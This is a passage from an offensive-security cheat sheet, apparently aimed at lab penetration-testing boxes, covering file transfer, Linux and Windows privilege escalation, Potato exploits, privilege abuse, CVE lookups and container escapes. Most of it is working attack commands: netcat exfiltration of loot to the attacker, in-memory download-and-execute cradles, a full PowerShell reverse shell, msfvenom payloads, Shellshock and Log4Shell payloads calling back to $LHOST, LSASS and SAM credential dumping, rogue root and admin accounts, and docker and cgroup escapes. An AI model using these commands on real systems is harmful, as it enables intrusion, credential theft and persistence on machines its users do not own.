copy \\$LHOST\share\file.exe C:\Windows\Temp\
# Bitsadmin
bitsadmin /transfer wcb /priority high http://$LHOST/file.exe C:\Windows\Temp\file.exe
Upload to Attacker
# Attacker side - netcat receiver
nc -lvnp 9001 > loot.zip
# Victim side
nc $LHOST 9001 < loot.zip
# Or run an upload-enabled server (uploadserver pkg)
python3 -m uploadserver 80
Linux Privilege Escalation LIN
Auto-enum
# LinPEAS - the king
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Memory-only run
curl http://$LHOST/linpeas.sh | sh
# Others
./linenum.sh
./pspy64 # watch processes - great for cron
Manual Checks
id
sudo -l
cat /etc/passwd
cat /etc/shadow # if readable - jackpot
uname -a; cat /etc/os-release
crontab -l; cat /etc/crontab; ls -la /etc/cron.*
# SUID / SGID
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Writable as user
find / -writable -type d 2>/dev/null
find / -group $(id -gn) -writable 2>/dev/null
# Interesting files
ls -la /home/* /root /opt
find / -name "*.conf" -readable 2>/dev/null
grep -r "password" /etc 2>/dev/null
Common Wins
- sudo -l reveals NOPASSWD or specific binaries β check GTFOBins
- SUID on nmap, vim, find, less, more, bash, perl, python, awk, env, cp, tar
- Cron scripts you can write to or PATH abuse
- Wildcard injection in tar/rsync/chown calls in cron
- Writable /etc/passwd β add UID 0 user with hashed pass
- NFS no_root_squash β mount, drop SUID binary as root
- Docker group β mount host fs in container
- LXD group β privilege escalation via image import
- Kernel exploits: DirtyCow, DirtyPipe, PwnKit (CVE-2021-4034), OverlayFS
Quick Wins
# PwnKit (pkexec) - works on tons of boxes
git clone https://github.com/ly4k/PwnKit
cd PwnKit && ./PwnKit
# Add root user via writable /etc/passwd
openssl passwd -1 -salt s pass
echo 'attacker:$1$s$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su attacker
# sudo all
sudo su -
# SUID bash (if found)
/path/to/suid_bash -p
Windows Privilege Escalation WIN
Auto-enum Tools
# WinPEAS β run first, most comprehensive
.\winPEASx64.exe
.\winPEASx64.exe quiet # less noise
.\winPEASx64.exe systeminfo userinfo # specific categories
.\winPEASx64.exe > winpeas_out.txt # save output
# In-memory:
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/winPEASps1.ps1')
# Seatbelt β focused recon binary
.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user
.\Seatbelt.exe CredEnum WindowsCredentialFiles # creds only
.\Seatbelt.exe -group=all -outputfile=seatbelt.txt
PrivescCheck.ps1
PS-only, no binary drop, low AV detection. Repo: itm4n/PrivescCheck
# Attacker β serve it
git clone https://github.com/itm4n/PrivescCheck && cd PrivescCheck
python3 -m http.server 80
# Option 1: in-memory (preferred β no disk write)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PrivescCheck.ps1'); Invoke-PrivescCheck"
# Option 2: download then run
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST/PrivescCheck.ps1','C:\Windows\Temp\pc.ps1')"
powershell -ep bypass -c ". C:\Windows\Temp\pc.ps1; Invoke-PrivescCheck"
# Option 3: already in PS prompt
. .\PrivescCheck.ps1; Invoke-PrivescCheck
# Key flags
Invoke-PrivescCheck -Extended # more thorough, slower
Invoke-PrivescCheck -Audit # include info-level findings
Invoke-PrivescCheck -Report report -Format TXT,HTML,CSV
Invoke-PrivescCheck -Extended -Audit -Report report -Format HTML
# Exfil HTML report back to attacker
(New-Object Net.WebClient).UploadFile('http://$LHOST:$LPORT/upload','report.html')
PowerUp.ps1
Part of PowerSploit. Checks service misconfigs, unquoted paths, registry autoruns, AlwaysInstallElevated. Repo: PowerShellMafia/PowerSploit
# Run all checks (fastest path)
. .\PowerUp.ps1; Invoke-AllChecks
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerUp.ps1'); Invoke-AllChecks
# Individual checks β run when Invoke-AllChecks flags something
Get-ServiceUnquoted # unquoted service paths
Get-ModifiableServiceFile # writable service binary
Get-ModifiableService # weak service permissions
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated
Get-RegistryAutoLogon # autologon creds in registry
Get-ModifiableRegistryAutoRun # writable autorun entries
Get-UnattendedInstallFile # unattend.xml / sysprep.inf
Get-CachedGPPPassword # GPP cpassword (MS14-025)
Get-ModifiableScheduledTaskFile # writable scheduled task binary
Find-ProcessDLLHijack # DLL hijack opportunities
Find-PathDLLHijack # PATH-based DLL hijack
# Exploit directly from PowerUp (if it finds something)
Invoke-ServiceAbuse -Name 'VulnSvc' -Command "net localgroup administrators user /add"
Write-ServiceBinary -Name 'VulnSvc' -Command "net localgroup administrators user /add"
Install-ServiceBinary -Name 'VulnSvc'
Invoke-AllChecks | Out-File -Encoding ASCII powerup.txt
Invoke-AllChecks β find a service/path issue β use the corresponding Invoke-* or Write-* function to exploit it. PowerUp can add you to local admins in one step if the service is abusable.
Manual Recon
whoami /all
whoami /priv
whoami /groups
systeminfo
hostname
net users
net localgroup administrators
net user USER
# Patches
wmic qfe list brief
# Services
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
sc qc SERVICE
# Scheduled tasks
schtasks /query /fo LIST /v
Common Vectors
- SeImpersonatePrivilege β JuicyPotato / PrintSpoofer / GodPotato / RoguePotato
- SeBackupPrivilege β dump SAM/SYSTEM, extract hashes
- Unquoted service paths with writable dir in path
- Weak service permissions β modify binPath
- AlwaysInstallElevated registry β MSI as SYSTEM
- Stored credentials: cmdkey /list, runas /savecred
- Unattend.xml / sysprep.inf / web.config with creds
- Registry autoruns writable
- DLL hijacking in writable PATH dirs
Potato Family (SeImpersonate)
Pick by Windows version. PrintSpoofer/GodPotato are the modern go-to; JuicyPotato only works on older boxes (β€ Server 2016 / Win10 1803).
| Tool | Works on | Repo |
|---|---|---|
| PrintSpoofer | Win10 / Server 2016+ / 2019 | itm4n/PrintSpoofer |
| GodPotato | Win8+ / Server 2012+ (incl. 2022) | BeichenDream/GodPotato |
| JuicyPotatoNG | Win10 1809+ / Server 2019/2022 | antonioCoco/JuicyPotatoNG |
| JuicyPotato (legacy) | β€ Win10 1803 / Server 2016 | ohpe/juicy-potato |
| RoguePotato | Win10 1809+ / Server 2019 (needs redirector) | antonioCoco/RoguePotato |
| SweetPotato | Bundled mix (PrintSpoofer + others) | CCob/SweetPotato |
whoami /priv β need SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. Common on IIS (iis apppool\*), MSSQL (nt service\mssql*), and service accounts.
PrintSpoofer β Reverse Shell
# Attacker β start listener first
nc -lvnp $LPORT
# Victim β upload PrintSpoofer64.exe + nc.exe to C:\Temp\
# Method 1: via nc.exe (most reliable)
.\PrintSpoofer64.exe -c "C:\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
# Method 2: via PowerShell reverse shell
.\PrintSpoofer64.exe -c "powershell -nop -ep bypass -c \"$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r+='PS '+(pwd).Path+'> ';$rb=[text.encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()\""
# Method 3: interactive cmd on current session (-i flag)
.\PrintSpoofer64.exe -i -c cmd.exe
# Only works if you have an interactive session (RDP, evil-winrm)
# Method 4: add admin user (no network needed)
.\PrintSpoofer64.exe -c "cmd /c net user hacker Pass123! /add"
.\PrintSpoofer64.exe -c "cmd /c net localgroup administrators hacker /add"
# Then: evil-winrm -i $RHOST -u hacker -p Pass123!
GodPotato β Reverse Shell
# Attacker β start listener first
nc -lvnp $LPORT
# Check .NET version on victim first
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s | findstr /i version
# Use NET2 / NET35 / NET4 binary accordingly
# Method 1: via nc.exe
.\GodPotato-NET4.exe -cmd "C:\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
# Method 2: via PowerShell one-liner
.\GodPotato-NET4.exe -cmd "powershell -nop -ep bypass -e JABjAD0ATgBlAHcA..."
# Generate b64: echo -n 'PSCMD' | iconv -t UTF-16LE | base64 -w0
# Method 3: drop a shell.exe (msfvenom)
# Attacker:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o shell.exe
# Victim:
.\GodPotato-NET4.exe -cmd "C:\Temp\shell.exe"
# Method 4: add admin user
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker Pass123! /add"
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup \"Remote Management Users\" hacker /add"
# Method 5: enable RDP + add user
.\GodPotato-NET4.exe -cmd "cmd /c reg add \"HKLM\System\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
.\GodPotato-NET4.exe -cmd "cmd /c netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=TCP localport=3389"
JuicyPotatoNG β Reverse Shell
# Auto-selects CLSID β no manual lookup needed unlike old JuicyPotato
nc -lvnp $LPORT # attacker listener
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c C:\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c net user hacker Pass123! /add && net localgroup administrators hacker /add"
# Old JuicyPotato (Server 2016 / Win10 β€ 1803) β needs CLSID
# CLSID list: https://ohpe.it/juicy-potato/CLSID/
.\JuicyPotato.exe -l 1337 -p C:\Temp\nc.exe -a "$LHOST $LPORT -e cmd.exe" -t * -c "{CLSID}"
Quick Decision Flow
# 1. Check priv
whoami /priv # look for SeImpersonatePrivilege = Enabled
# 2. Check OS / .NET
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s | findstr /i "version" | tail
# 3. Pick tool
# Server 2019 / Win10 1809+ β GodPotato (broadest support) or PrintSpoofer
# Server 2016 / Win10 β€ 1803 β PrintSpoofer or JuicyPotato (legacy)
# Server 2012 / Win8 β GodPotato-NET35
# No network outbound? β add admin user instead of reverse shell
# 4. Upload nc.exe + chosen binary to C:\Temp\ (or C:\Windows\Temp\)
# 5. Run with nc.exe payload, catch on $LPORT
Service Abuse
# Modify weak service
sc config SERVICE binPath= "cmd /c net localgroup administrators user /add"
sc stop SERVICE && sc start SERVICE
# Unquoted path: drop exe at C:\Program.exe etc.
Windows Privilege Abuse Reference
Run whoami /priv β match enabled privileges below. Even "Disabled" privs can be enabled programmatically.
| Privilege | Abuse Path |
|---|---|
| SeImpersonatePrivilege | Potato family β SYSTEM |
| SeAssignPrimaryTokenPrivilege | Potato family β SYSTEM |
| SeBackupPrivilege | Read any file (SAM/SYSTEM/NTDS) β hashes |
| SeRestorePrivilege | Write any file β overwrite binaries, modify registry |
| SeTakeOwnershipPrivilege | Take ownership of any file/key β modify then abuse |
| SeDebugPrivilege | Inject into any process β dump LSASS β creds |
| SeLoadDriverPrivilege | Load unsigned kernel driver β SYSTEM |
| SeManageVolumePrivilege | Write to any volume β overwrite files |
| SeTcbPrivilege | Act as OS, create tokens β SYSTEM |
| SeCreateTokenPrivilege | Create arbitrary tokens β local admin |
| SeCreateSymbolicLinkPrivilege | Symlink attacks β arbitrary file write |
| SeShutdownPrivilege | Reboot β trigger malicious autorun on restart |
| SeDelegateSessionUserImpersonatePrivilege | Impersonate tokens β lateral movement |
SeBackupPrivilege β Dump SAM/NTDS
# Verify
whoami /priv | findstr /i "backup"
# Method 1: reg save (built-in, no tools)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Method 2: robocopy with backup semantics (bypass ACL)
robocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM SECURITY
# Method 3: diskshadow + robocopy β grab NTDS.dit from DC
# Create script.txt:
# set context persistent nowriters
# set metadata C:\Temp\meta.cab
# set verbose on
# begin backup
# add volume C: alias cdrive
# create
# expose %cdrive% X:
# end backup
diskshadow /s C:\Temp\script.txt
robocopy /b X:\Windows\NTDS C:\Temp NTDS.dit
robocopy /b X:\Windows\System32\config C:\Temp SYSTEM
# Attacker β crack offline
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# PowerShell β SeBackupPrivilege abuse via .NET
# https://github.com/giuliano108/SeBackupPrivilege
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\Temp\SAM
SeRestorePrivilege β Write Any File
# Overwrite utilman.exe with cmd.exe β trigger from login screen (lock screen trick)
reg save HKLM\SYSTEM C:\Temp\SYSTEM # backup first
robocopy /b C:\Windows\System32 C:\Temp utilman.exe # backup original
copy /b /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Overwrite a service binary with your payload
# Find weak service binary path first via PowerUp / sc qc SERVICE
copy /y C:\Temp\shell.exe "C:\Program Files\VulnService\service.exe"
sc stop VulnSvc && sc start VulnSvc
# Modify registry via SeRestorePrivilege β set Image File Execution Options
# (debugger hijack β runs your binary when target binary launches)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
# PowerShell β explicit restore semantics
# https://github.com/giuliano108/SeBackupPrivilege (same dll set)
Set-FileSeRestorePrivilege "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"
SeTakeOwnershipPrivilege β Own Any File/Key
# Take ownership of a file then grant yourself full control
takeown /f C:\Windows\System32\config\SAM
icacls C:\Windows\System32\config\SAM /grant DOMAIN\user:F
copy C:\Windows\System32\config\SAM C:\Temp\
# Take ownership of a service binary
takeown /f "C:\Program Files\VulnApp\app.exe"
icacls "C:\Program Files\VulnApp\app.exe" /grant "%username%":F
copy C:\Temp\shell.exe "C:\Program Files\VulnApp\app.exe"
sc stop VulnSvc && sc start VulnSvc
# Take ownership of registry key (HKLM services)
# Use regedit GUI or:
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\VulnSvc", [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership)
$acl = $key.GetAccessControl()
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME")
$key.SetAccessControl($acl)
# Abuse HKLM SAM/SECURITY directly
takeown /f C:\Windows\System32\config\SYSTEM /a
icacls C:\Windows\System32\config\SYSTEM /grant administrators:F
SeDebugPrivilege β Dump LSASS
# Dump LSASS process memory β crack offline for plaintext / NTLM
# Method 1: Task Manager (GUI) β right-click lsass.exe β Create Dump File
# Method 2: procdump (Sysinternals β often not flagged)
.\procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
.\procdump.exe -accepteula -ma -64 lsass.exe C:\Temp\lsass.dmp
# Method 3: comsvcs.dll (built-in, no extra tools)
$lsass = (Get-Process lsass).Id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $lsass C:\Temp\lsass.dmp full
# or from cmd:
for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" /NH"') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %B C:\Temp\lsass.dmp full
# Method 4: Mimikatz direct
privilege::debug
sekurlsa::logonpasswords
# Method 5: ProcDump via PowerShell
$lsass = Get-Process -Name lsass; [System.Diagnostics.Process]::Start("procdump.exe", "-accepteula -ma $($lsass.Id) C:\Temp\lsass.dmp")
# Attacker β parse the dump
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
pypykatz lsa minidump lsass.dmp
# Or open in Mimikatz:
sekurlsa::minidump C:\Temp\lsass.dmp
sekurlsa::logonpasswords
SeLoadDriverPrivilege β Kernel Driver β SYSTEM
# Load a vulnerable signed driver then exploit it
# https://github.com/TarlogicSecurity/EoPLoadDriver
# Capcom.sys is the classic vulnerable driver (allows arbitrary code in kernel)
# Step 1: load the driver
.\EoPLoadDriver.exe System\CurrentControlSet\dfserv C:\Temp\Capcom.sys
# Step 2: exploit it
.\ExploitCapcom.exe LOAD C:\Temp\Capcom.sys
.\ExploitCapcom.exe EXPLOIT # spawns SYSTEM shell
# Confirm privilege before trying
whoami /priv | findstr "SeLoadDriverPrivilege"
SeManageVolumePrivilege β Arbitrary File Write
# Exploit: https://github.com/CsEnox/SeManageVolumeExploit
.\SeManageVolumeExploit.exe
# Writes a malicious tzres.dll into System32, then triggers via systeminfo
# Spawns cmd.exe as SYSTEM
# Manual β use SetFileValidData via the privilege to write arbitrary data
whoami /priv | findstr "SeManageVolumePrivilege"
SeTcbPrivilege / SeCreateTokenPrivilege β Token Abuse
# SeTcbPrivilege β very rare, act as OS, logon as any user without creds
# SeCreateTokenPrivilege β create a token with any groups (e.g. local admin)
# Both: use incognito (Metasploit) or token manipulation tools
# With Incognito standalone:
.\incognito.exe list_tokens -u
.\incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
# PowerShell token impersonation
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
AlwaysInstallElevated β MSI as SYSTEM
# Check both keys β BOTH must be 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 0x1 β build malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o shell.msi
msiexec /quiet /qn /i C:\Temp\shell.msi
# Via PowerUp
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI # creates UserAdd.msi that adds admin user
msiexec /quiet /qn /i UserAdd.msi
Credential Hunting
findstr /si password *.txt *.ini *.config *.xml 2>nul
findstr /si password *.ps1 *.bat *.cmd 2>nul
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
cmdkey /list
dir /s /b *unattend* *sysprep* *.kdbx *.config 2>nul
type "C:\Windows\System32\drivers\etc\hosts"
dir /s /b "C:\Users\" 2>nul | findstr /i "password\|passwd\|cred\|secret\|vnc"
Common Privilege Escalation CVEs
Quick lookup of the heavy hitters. Always check kernel / OS version first, then match.
Linux Kernel & Userspace LIN
| CVE | Name | Affects | Notes |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | Kernel 5.8 β 5.16.11 / 5.15.25 / 5.10.102 | Overwrite read-only files (e.g. /etc/passwd, SUID binaries). Very reliable. |
| CVE-2021-4034 | PwnKit | polkit pkexec since 2009 β almost any distro pre-Jan 2022 | One-shot root, no requirements. First thing to try. |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Heap overflow in sudoedit. Works without sudo password. |
| CVE-2022-2588 | DirtyCred | Kernel β€ 5.19 | Cred swapping via cls_route UAF. |
| CVE-2016-5195 | DirtyCow | Kernel 2.6.22 β 4.8.3 | Classic. Race-condition in COW. Old boxes only. |
| CVE-2017-16995 | eBPF verifier | Kernel 4.4 β 4.14 | Ubuntu 16.04 favourite. |
| CVE-2021-3493 | OverlayFS | Ubuntu 16.04/18.04/20.04 | Local root. Ubuntu-specific patch. |
| CVE-2017-1000112 | UDP Fragmentation | Kernel 4.4 β 4.13 | Pre-DirtyCow alternative. |
| CVE-2019-13272 | PTRACE_TRACEME | Kernel β€ 5.1.17 | Polkit-via-ptrace path. |
| CVE-2023-32629 | GameOver(lay) | Ubuntu specific overlayfs | Modern overlayfs path. 22.04 boxes. |
| CVE-2023-4911 | Looney Tunables | glibc ld.so (most distros 2023) | Buffer overflow in GLIBC_TUNABLES env var. |
Linux Quick Exploits
# PwnKit (CVE-2021-4034) - try first on any Linux box
git clone https://github.com/ly4k/PwnKit; cd PwnKit; ./PwnKit
# or compiled C version:
git clone https://github.com/berdav/CVE-2021-4034
# DirtyPipe (CVE-2022-0847) - overwrite /etc/passwd or SUID binary
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Baron Samedit (CVE-2021-3156)
git clone https://github.com/blasty/CVE-2021-3156
# OverlayFS Ubuntu (CVE-2021-3493)
git clone https://github.com/briskets/CVE-2021-3493
# Looney Tunables (CVE-2023-4911)
git clone https://github.com/leesh3288/CVE-2023-4911
# Searchsploit by version
uname -r
searchsploit linux kernel 5.4
searchsploit sudo 1.8
Windows Local WIN
| CVE | Name | Affects | Notes |
|---|---|---|---|
| CVE-2021-36934 | HiveNightmare / SeriousSAM | Win10 1809+ / Win11 | Non-admin can read SAM/SYSTEM via VSS. Dump & pass-the-hash. |
| CVE-2021-34527 | PrintNightmare | Most Win versions pre-Aug 2021 patch | Spooler RCE/LPE. Works as both PE and lateral. |
| CVE-2021-1675 | PrintNightmare (1st) | Same as above | Original spooler bug, pair with 34527. |
| CVE-2020-0796 | SMBGhost | Win10 1903/1909, Server 2004 | Local PE variant exists alongside the wormable RCE. |
| CVE-2019-1388 | UAC Certificate Dialog | Win7 β Win10 1809 unpatched | HHCtrl certificate β SYSTEM cmd. Pure GUI trick. |
| CVE-2020-1472 | Zerologon | DC: Server 2008+ unpatched | Reset DC machine account password to empty. DA in seconds. |
| CVE-2022-26923 | Certifried | AD CS | Forge cert as DC via dNSHostName abuse. |
| CVE-2014-4113 | win32k.sys | Win XP β 8.1 / Server 2003-2012 | Old kernel exploit, still seen on legacy boxes. |
| MS16-032 | secondary logon | Win7-10 / 2008-2012R2 pre-March 2016 | Classic PowerShell exploit (Invoke-MS16-032). |
| MS16-075 | Hot Potato / Rotten Potato | Pre-2016 Windows | NTLM relay PE. Predecessor to Juicy. |
| MS15-051 | ClientCopyImage | Win7 / 2008 R2 pre-May 2015 | Common on older boxes via win32k. |
| MS14-058 | win32k TrackPopup | Win7/8 / 2008-2012 | Reliable on unpatched 2008 R2. |
Windows Quick Exploits
# Compare patch level β known exploits
systeminfo > sysinfo.txt
# Then on attacker:
wes.py sysinfo.txt -i Elevation # Windows Exploit Suggester - NextGen
# https://github.com/bitsadmin/wesng
# HiveNightmare (CVE-2021-36934) - if VSS shadows accessible
# https://github.com/GossiTheDog/HiveNightmare
.\HiveNightmare.exe # dumps SAM/SYSTEM/SECURITY
# Then on attacker:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# PrintNightmare (CVE-2021-34527)
# https://github.com/cube0x0/CVE-2021-1675
python CVE-2021-1675.py domain/user:pass@$RHOST '\\$LHOST\share\addCust.dll'
# Zerologon (CVE-2020-1472) - against a DC
# https://github.com/dirkjanm/CVE-2020-1472
python zerologon_tester.py DC-NAME $RHOST
impacket-secretsdump -no-pass -just-dc DC-NAME$@$RHOST
# UAC bypass (CVE-2019-1388) - GUI: open hhctrl.ocx β cert details β cmd as SYSTEM
Web / App Pre-Auth (paths to a foothold)
| CVE | Target | Notes |
|---|---|---|
| CVE-2021-44228 | Log4Shell | Java apps using log4j 2.x < 2.17. Ubiquitous in 2021-2022. |
| CVE-2017-5638 | Apache Struts2 | Equifax breach bug. Content-Type header RCE. |
| CVE-2019-19781 | Citrix ADC | Path traversal β RCE. |
| CVE-2020-14882 | Oracle WebLogic | Pre-auth RCE via console. |
| CVE-2022-1388 | F5 BIG-IP | iControl REST auth bypass. |
| CVE-2017-0144 | EternalBlue (MS17-010) | SMBv1 β old but still on legacy lab boxes. |
| CVE-2019-0708 | BlueKeep | RDP pre-auth RCE on Win7/2008. |
| CVE-2024-4577 | PHP-CGI RCE | Argument injection on Windows PHP-CGI. Very common on recent PG boxes. |
| CVE-2021-42287 | NoPac | sAMAccountName spoofing β DA. Needs low-priv domain creds. |
| CVE-2022-26923 | Certifried | Forge cert as DC via dNSHostName. ADCS required. |
| CVE-2022-22963 | Spring4Shell | Spring Cloud Function RCE via routing expression header. |
| CVE-2014-6271 | Shellshock | Bash env var RCE. CGI scripts on Apache, old DHCP clients. |
| CVE-2019-14287 | Sudo -1 bypass | sudo < 1.8.28 with runas ALL β run as root via sudo -u#-1. |
| CVE-2023-22809 | Sudoedit bypass | sudo 1.8.0β1.9.12p1 β extra args in SUDO_EDITOR bypass file restrictions. |
Key Exploit Commands
# Shellshock (CVE-2014-6271)
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' http://$RHOST/cgi-bin/user.sh
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' http://$RHOST/cgi-bin/vuln.cgi
# Sudo -1 bypass (CVE-2019-14287) β sudoers has (ALL) NOPASSWD: /bin/bash
sudo -u#-1 /bin/bash
# Sudoedit bypass (CVE-2023-22809)
# If sudoers: user ALL=(ALL) NOPASSWD: sudoedit /etc/motd
SUDO_EDITOR="vim -- /etc/passwd" sudoedit /etc/motd
# NoPac (CVE-2021-42287) β DA from low-priv domain user
# https://github.com/Ridter/noPac
python3 noPac.py 'DOMAIN'/'USER':'PASS' -dc-ip $RHOST -shell --impersonate 'Administrator' -use-ldap
# Spring4Shell (CVE-2022-22963)
curl -X POST http://$RHOST/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl $LHOST/shell.sh -o /dev/shm/shell")' \
--data-raw 'data' -v
curl -X POST http://$RHOST/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell")' \
--data-raw 'data' -v
# PHP-CGI RCE (CVE-2024-4577) β Windows + PHP-CGI via IIS
curl -v "$RHOST/index.php?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" \
--data '<?php system("whoami"); ?>;echo 1337;die;'
# Full PoC: https://github.com/watchtowrcyber/CVE-2024-4577
# Log4Shell (CVE-2021-44228)
# https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,BASE64}|{base64,-d}|bash"
# Inject into any logged field:
${jndi:ldap://$LHOST:1389/exploit}
# GitLab Account Takeover (CVE-2023-7028)
# https://github.com/Vozec/CVE-2023-7028
# POST /users/password with: user[email][]=victim@x.com&user[email][]=attacker@x.com
uname -a (Linux) or systeminfo (Windows) early. Feed kernel version into searchsploit or wesng. Don't blindly run kernel exploits β they can crash the box and reset your shell.
Container Escape
Docker β Check if You're in a Container
cat /proc/1/cgroup | grep docker
ls /.dockerenv
hostname # usually a short hash
ip a # usually 172.17.x.x
Docker Socket Escape (Most Common)
# Check if socket is mounted
ls -la /var/run/docker.sock
find / -name docker.sock 2>/dev/null
# If accessible β mount host root into new container
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# Without docker binary β use curl against socket
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# Create container via API and exec into it
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"],"Privileged":true}'
Privileged Container Escape
# Check if privileged
ip link add dummy0 type dummy 2>&1 # no error = privileged
cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff = full caps
# Mount host disk and chroot
fdisk -l # find host disk (usually /dev/sda1)
mkdir /tmp/host && mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash
# cgroup escape (release_agent) β works in privileged containers
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cp /bin/bash /tmp/bsh; chmod +s /tmp/bsh" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1 && /tmp/bsh -p
Docker Group PE (on host)
# If user is in docker group on the HOST
id # β uid=1000(user) gid=1000(user) groups=...,999(docker)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you're root on host filesystem
# Add yourself to sudoers
echo "user ALL=(ALL) NOPASSWD:ALL" >> /mnt/etc/sudoers
# Or grab shadow
cat /mnt/etc/shadow
LXD Group PE (on host)
# If user is in lxd group
id # β groups=...,lxd
# Attacker: build Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# Transfer alpine-v3.x-x86_64.tar.gz to victim
# Victim
lxc image import ./alpine-v3.x-x86_64.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer host-root disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Inside container:
cat /mnt/root/etc/shadow
cp /mnt/root/bin/bash /mnt/root/tmp/bash && chmod +s /mnt/root/tmp/bash
Kubernetes
# Check if in k8s pod
env | grep KUBERNETES
cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/namespace
# If token has permissions β create privileged pod
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) \
--certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
